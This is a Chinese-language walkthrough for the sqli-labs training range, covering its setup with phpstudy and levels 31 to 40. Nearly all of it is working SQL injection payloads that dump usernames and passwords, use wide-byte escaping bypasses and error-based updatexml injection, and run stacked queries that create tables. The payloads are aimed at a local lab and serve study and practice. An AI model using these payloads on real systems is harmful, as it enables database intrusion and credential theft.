sql-lib 搭建&31-40关

sql-lib靶场搭建-windows操作系统

下载phpstudy,下载地址:https://www.xp.cn/download.html
安装好

https://github.com/Audi-1/sqli-labs
将下载好后解压放到www下新建wwww.guiltyfet.com目录
同步hosts文件

第31关

在双引号后面添加括号进行闭合
http://www.guiltyfet.com/sqli/Less-31/?id=-1%22)union%20select%201,2,database()%20–+
或者
?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23
区分大小写用%23闭合

获得用户名密码

http://www.guiltyfet.com/sqli/Less-31/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+

第32关

这关是宽字节绕过引号转义
原理大概来说就是，一个双字节组成的字符，比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6’ 这样的构造时，’ 前面加的 \ 就会和%E6 合在一起，但是又不是一个正常汉字，但是起到了注掉 \ 的作用。

获得数据库名 ?id=-1%E6’ union select 1,version(),database() --+

在爆列的时候我们要用到‘user’，有单引号，我们用十六进制编码替代，users 使用十六进制编码得到7573657273，构造为0x7573657273

 获取列名   ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

http://www.guiltyfet.com/sqli/Less-32/?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

第33关

和32一样

http://www.guiltyfet.com/sqli/Less-33/?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

第34关

获取数据库版本和数据库名 uname=admin%99’ union select version(),database()–+&passwd=admin&submit=Submit

POST /sqli/Less-34/ HTTP/1.1
Host: www.guiltyfet.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: http://www.guiltyfet.com
Connection: close
Referer: http://www.guiltyfet.com/sqli/Less-34/
Upgrade-Insecure-Requests: 1

uname=admin%99'  union select 1,group_concat(username,0x3b,password) from users#&passwd=admin&passwd=admin&submit=Submit

获取数据库密码

第35关

获得版名库名

http://www.guiltyfet.com/sqli/Less-35/?id=-1%20union%20select%201,version(),database()--+

获得表明

http://www.guiltyfet.com/sqli/Less-35/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

爆列名 ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

爆用户名和密码

http://www.guiltyfet.com/sqli/Less-35/?id=-1%20union%20select%201,2,group_concat(username,0x3b,password)%20from%20users#

第36关

爆库

http://www.guiltyfet.com/sqli/Less-36/?id=0%bb' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

爆表

http://www.guiltyfet.com/sqli/Less-36/?id=0%bb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),0x7e),1)--+

通过宽字节 %df 或者utf-16来解决
爆用户密码

http://www.guiltyfet.com/sqli/Less-36/?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+

宽字节注入

第37关

输入admin/admin抓包

%bb’ union select 1,2#

爆库
uname=admin%bb' union select database(),user()#&passwd=admin&submit=Submit

爆表
uname=admin%bb' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=admin&submit=Submit

爆字段

admin%bb' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273#

爆数据
uname=admin%bb' union select group_concat(username),group_concat(password) from users#
&passwd=admin&submit=Submit

第38关

http://www.guiltyfet.com/sqli/Less-38/?id=0%FE' union select 1,version(),database() %23

http://www.guiltyfet.com/sqli/Less-38/?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名
http://www.guiltyfet.com/sqli/Less-38/?id=?id=0%FE' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获得数据
http://www.guiltyfet.com/sqli/Less-38/?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

新建表
http://www.guiltyfet.com/sqli/Less-38/?id=1';create table test like users;%23

在查询就有新建的表

第39关

http://www.guiltyfet.com/sqli/Less-39/?id=0%20union%20select%201,version(),database()%20%23

获得表名 ?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

获得列名 ?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

获取用户名密码 ?id=0 union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

第40关

加括号，堆叠注入

获得列名
http://www.guiltyfet.com/sqli/Less-40/?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 %23

爆数据
http://www.guiltyfet.com/sqli/Less-40/?id=0') union select 1,group_concat(username),group_concat(password) from security.users where 1 %23